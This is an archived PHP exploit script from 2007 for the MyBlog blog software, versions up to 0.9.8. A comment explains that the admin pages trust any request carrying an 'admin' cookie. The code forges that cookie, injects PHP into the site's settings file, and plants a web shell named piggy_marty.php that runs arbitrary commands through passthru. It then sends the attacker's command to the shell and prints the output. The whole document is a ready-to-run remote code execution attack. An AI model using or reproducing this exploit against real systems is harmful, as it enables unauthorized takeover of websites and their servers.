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myblog098-exec.txt

Posted on 17 April 2007

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "
MyBlog <= 0.9.8 Remote Command Execution Exploit
by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
Thanks to rgod for the php code and Marty for the Love

";
if ($argc<3) {
echo "Usage: php ".$argv[0]." Host Path CMD
Host:          target server (ip/hostname)
Path:          path of myblog

Example:
php ".$argv[0]." localhost /myblog/ CMD";

die;
}
/*
The problem is in all admin files:

if(isset($_COOKIE['admin'])) {
$name = $_COOKIE['login'];
}
else {
echo "Please Login";
exit;
}

This easy to bypass function leads to a RCE because we can put PHP code in settings.inc,
that is required in many pages..

This exploit create a piggy_marty.php shell on the victim site

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.="  .";}
else
{$result.="  ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="
"; $exa.="
";}
}
return $exa."
".$result;
}
$proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...
";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$cmd.=" ".$argv[$i];
}
$cmd=urlencode($cmd);


$port=80;
$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "Step0 - See If piggy_marty.php already exists..
";
$packet="GET ".$p."piggy_marty.php?cmd=$cmd HTTP/1.0
";
$packet.="Host: ".$host."
";
$packet.="Cookie: cmd=$cmd
";
$packet.="Connection: Close

";
sendpacketii($packet);
if (strstr($html,"666999"))
{
echo "Exploit succeeded...
";
$temp=explode("666999",$html);
die("
".$temp[1]."
");
}

echo "Step1 - Retrieving Configuration
";
$packet="GET ".$p."admin/settings.php HTTP/1.0
";
$packet.="Host: ".$host."
";
$packet.="Cookie: admin=BlackHawk
";
$packet.="Connection: Close

";
sendpacketii($packet);
$temp=explode("<textarea name="content" cols="80" rows="20">", $html);
$config_file=explode("</textarea><br /><input type="submit" /></form>", $temp[1]);
$new_file = str_replace('?>', '
$fp=fopen('piggy_marty.php','w');
fputs($fp,'<?php error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
$_GET[cmd]=stripslashes($_GET[cmd]);
}
echo 666999;
passthru($_GET[cmd]);
echo 666999;
?>');
fclose($fp);
chmod('piggy_marty.php',777);
?>', $config_file[0]);

echo "Step2 - Uploading New Data..
";
$data="content=".urlencode($new_file);
$packet="POST ".$p."admin/settings.php HTTP/1.0
";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*
";
$packet.="Referer: http://".$host.$path."admin/settings.php
";
$packet.="Accept-Language: it
";
$packet.="Content-Type: application/x-www-form-urlencoded
";
$packet.="Accept-Encoding: gzip, deflate
";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
";
$packet.="Host: ".$host."
";
$packet.="Cookie: admin=BlackHawk
";
$packet.="Content-Length: ".strlen($data)."
";
$packet.="Connection: Close
";
$packet.="Cache-Control: no-cache

";
$packet.=$data;
sendpacketii($packet);

echo "Step3 - Executing Shell Maker
";
$packet="GET ".$p."index.php HTTP/1.0
";
$packet.="Host: ".$host."
";
$packet.="Cookie: 
";
$packet.="Connection: Close

";
sendpacketii($packet);
sleep(3);
echo "Step4 - Executing Shell..
";
$packet="GET ".$p."piggy_marty.php?cmd=$cmd HTTP/1.0
";
$packet.="Host: ".$host."
";
$packet.="Cookie: cmd=$cmd
";
$packet.="Connection: Close

";
sendpacketii($packet);
if (strstr($html,"666999"))
{
echo "Exploit succeeded...
";
$temp=explode("666999",$html);
die("
".$temp[1]."
");
}

# Coded With BH Fast Generator v0.1
?>

 

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